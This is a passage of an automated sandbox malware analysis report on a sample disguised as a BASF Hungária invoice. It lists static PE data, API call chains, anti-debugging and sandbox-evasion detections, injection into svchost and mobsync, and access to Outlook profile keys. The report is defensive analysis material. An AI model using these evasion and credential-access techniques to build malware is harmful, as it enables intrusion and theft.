                Source: C:\Windows\SysWOW64\mobsync.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: BASF Hung#U00e1ria Kft.exeStatic file information: File size 1207296 > 1048576
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: mobsync.pdbGCTL source: svchost.exe, 00000001.00000003.1898732694.000000000321B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898869810.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898899204.0000000003231000.00000004.00000020.00020000.00000000.sdmp, ROCRLWAZDr.exe, 00000003.00000003.2014129780.000000000131F000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ROCRLWAZDr.exe, 00000003.00000002.3552789265.00000000004FE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1688119051.0000000004360000.00000004.00001000.00020000.00000000.sdmp, BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1687352494.00000000041C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1824232910.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1826130259.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1930349763.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1930349763.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000003.1943024777.000000000488C000.00000004.00000020.00020000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553739211.0000000004D7E000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553739211.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000003.1944819891.0000000004A32000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1688119051.0000000004360000.00000004.00001000.00020000.00000000.sdmp, BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1687352494.00000000041C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1824232910.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1826130259.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1930349763.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1930349763.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000003.1943024777.000000000488C000.00000004.00000020.00020000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553739211.0000000004D7E000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553739211.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, mobsync.exe, 00000004.00000003.1944819891.0000000004A32000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: mobsync.pdb source: svchost.exe, 00000001.00000003.1898732694.000000000321B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898869810.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898899204.0000000003231000.00000004.00000020.00020000.00000000.sdmp, ROCRLWAZDr.exe, 00000003.00000003.2014129780.000000000131F000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: ROCRLWAZDr.exe, 00000003.00000002.3557262853.00000000060BC000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.000000000520C000.00000004.10000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553043634.0000000003189000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000007.00000002.2230669883.000000000B35C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: ROCRLWAZDr.exe, 00000003.00000002.3557262853.00000000060BC000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.000000000520C000.00000004.10000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553043634.0000000003189000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000007.00000002.2230669883.000000000B35C000.00000004.80000000.00040000.00000000.sdmp
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00734B37 LoadLibraryA,GetProcAddress,0_2_00734B37
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0073C4C7 push A30073BAh; retn 0073h0_2_0073C50D
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079848F push FFFFFF8Bh; iretd 0_2_00798491
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075E70F push edi; ret 0_2_0075E711
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075E828 push esi; ret 0_2_0075E82A
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00758945 push ecx; ret 0_2_00758958
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075EA03 push esi; ret 0_2_0075EA05
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075EAEC push edi; ret 0_2_0075EAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004143C1 push cs; ret 1_2_004143C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00403070 push eax; ret 1_2_00403072
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004120AF push ebp; retf 1_2_004120B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00418172 push esi; retf 1_2_0041817D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040AADE push ebp; iretd 1_2_0040AAE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00414344 push cs; ret 1_2_004143C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417C7C push esi; iretd 1_2_00417C7F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00413D3D push esp; ret 1_2_00413D3E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040CE68 push ecx; retf 1_2_0040CE6B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390225F pushad ; ret 1_2_039027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039027FA pushad ; ret 1_2_039027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039309AD push ecx; mov dword ptr [esp], ecx1_2_039309B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390283D push eax; iretd 1_2_03902858
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03901368 push eax; iretd 1_2_03901369
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007348D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_007348D7
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007B5376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_007B5376
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00753187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00753187
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeAPI/Special instruction interceptor: Address: 196C36C
                Source: C:\Windows\SysWOW64\mobsync.exeAPI/Special instruction interceptor: Address: 7FFE2220D324
                Source: C:\Windows\SysWOW64\mobsync.exeAPI/Special instruction interceptor: Address: 7FFE2220D944
                Source: C:\Windows\SysWOW64\mobsync.exeAPI/Special instruction interceptor: Address: 7FFE2220D504
                Source: C:\Windows\SysWOW64\mobsync.exeAPI/Special instruction interceptor: Address: 7FFE2220D544
                Source: C:\Windows\SysWOW64\mobsync.exeAPI/Special instruction interceptor: Address: 7FFE2220D1E4
                Source: C:\Windows\SysWOW64\mobsync.exeAPI/Special instruction interceptor: Address: 7FFE22210154
                Source: C:\Windows\SysWOW64\mobsync.exeAPI/Special instruction interceptor: Address: 7FFE2220DA44
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0397096E rdtsc 1_2_0397096E
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeAPI coverage: 4.5 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.6 %
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe TID: 4304Thread sleep time: -45000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe TID: 4304Thread sleep time: -37500s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exe TID: 5332Thread sleep count: 44 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exe TID: 5332Thread sleep time: -88000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\mobsync.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_0079445A
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079C6D1 FindFirstFileW,FindClose,0_2_0079C6D1
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_0079C75C
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0079EF95
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0079F0F2
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_0079F3F3
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007937EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_007937EF
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00793B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00793B12
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_0079BCBC
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007349A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_007349A0
                Source: mobsync.exe, 00000004.00000002.3553043634.0000000003189000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllP
                Source: ROCRLWAZDr.exe, 00000003.00000002.3553237820.000000000131E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000007.00000002.2232651182.000001CF8B2BD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0397096E rdtsc 1_2_0397096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417543 LdrLoadDll,1_2_00417543
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007A3F09 BlockInput,0_2_007A3F09
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00733B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00733B3A
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00765A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,0_2_00765A7C
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00734B37 LoadLibraryA,GetProcAddress,0_2_00734B37
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0196C5D8 mov eax, dword ptr fs:[00000030h]0_2_0196C5D8
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0196C638 mov eax, dword ptr fs:[00000030h]0_2_0196C638
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0196AF58 mov eax, dword ptr fs:[00000030h]0_2_0196AF58
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03928397 mov eax, dword ptr fs:[00000030h]1_2_03928397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03928397 mov eax, dword ptr fs:[00000030h]1_2_03928397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03928397 mov eax, dword ptr fs:[00000030h]1_2_03928397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392E388 mov eax, dword ptr fs:[00000030h]1_2_0392E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392E388 mov eax, dword ptr fs:[00000030h]1_2_0392E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392E388 mov eax, dword ptr fs:[00000030h]1_2_0392E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395438F mov eax, dword ptr fs:[00000030h]1_2_0395438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395438F mov eax, dword ptr fs:[00000030h]1_2_0395438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE3DB mov eax, dword ptr fs:[00000030h]1_2_039DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE3DB mov eax, dword ptr fs:[00000030h]1_2_039DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE3DB mov ecx, dword ptr fs:[00000030h]1_2_039DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE3DB mov eax, dword ptr fs:[00000030h]1_2_039DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D43D4 mov eax, dword ptr fs:[00000030h]1_2_039D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D43D4 mov eax, dword ptr fs:[00000030h]1_2_039D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EC3CD mov eax, dword ptr fs:[00000030h]1_2_039EC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]1_2_0393A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]1_2_0393A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]1_2_0393A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]1_2_0393A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]1_2_0393A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]1_2_0393A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039383C0 mov eax, dword ptr fs:[00000030h]1_2_039383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039383C0 mov eax, dword ptr fs:[00000030h]1_2_039383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039383C0 mov eax, dword ptr fs:[00000030h]1_2_039383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039383C0 mov eax, dword ptr fs:[00000030h]1_2_039383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B63C0 mov eax, dword ptr fs:[00000030h]1_2_039B63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394E3F0 mov eax, dword ptr fs:[00000030h]1_2_0394E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394E3F0 mov eax, dword ptr fs:[00000030h]1_2_0394E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394E3F0 mov eax, dword ptr fs:[00000030h]1_2_0394E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039663FF mov eax, dword ptr fs:[00000030h]1_2_039663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]1_2_039403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]1_2_039403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]1_2_039403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]1_2_039403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]1_2_039403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]1_2_039403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]1_2_039403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]1_2_039403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392C310 mov ecx, dword ptr fs:[00000030h]1_2_0392C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A08324 mov eax, dword ptr fs:[00000030h]1_2_03A08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A08324 mov ecx, dword ptr fs:[00000030h]1_2_03A08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A08324 mov eax, dword ptr fs:[00000030h]1_2_03A08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A08324 mov eax, dword ptr fs:[00000030h]1_2_03A08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03950310 mov ecx, dword ptr fs:[00000030h]1_2_03950310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396A30B mov eax, dword ptr fs:[00000030h]1_2_0396A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396A30B mov eax, dword ptr fs:[00000030h]1_2_0396A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396A30B mov eax, dword ptr fs:[00000030h]1_2_0396A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]1_2_039B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]1_2_039B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]1_2_039B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B035C mov ecx, dword ptr fs:[00000030h]1_2_039B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]1_2_039B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]1_2_039B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FA352 mov eax, dword ptr fs:[00000030h]1_2_039FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D8350 mov ecx, dword ptr fs:[00000030h]1_2_039D8350
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]1_2_039B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D437C mov eax, dword ptr fs:[00000030h]1_2_039D437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A0634F mov eax, dword ptr fs:[00000030h]1_2_03A0634F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E284 mov eax, dword ptr fs:[00000030h]1_2_0396E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E284 mov eax, dword ptr fs:[00000030h]1_2_0396E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B0283 mov eax, dword ptr fs:[00000030h]1_2_039B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B0283 mov eax, dword ptr fs:[00000030h]1_2_039B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B0283 mov eax, dword ptr fs:[00000030h]1_2_039B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039402A0 mov eax, dword ptr fs:[00000030h]1_2_039402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039402A0 mov eax, dword ptr fs:[00000030h]1_2_039402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]1_2_039C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C62A0 mov ecx, dword ptr fs:[00000030h]1_2_039C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]1_2_039C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]1_2_039C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]1_2_039C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]1_2_039C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]1_2_0393A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]1_2_0393A2C3
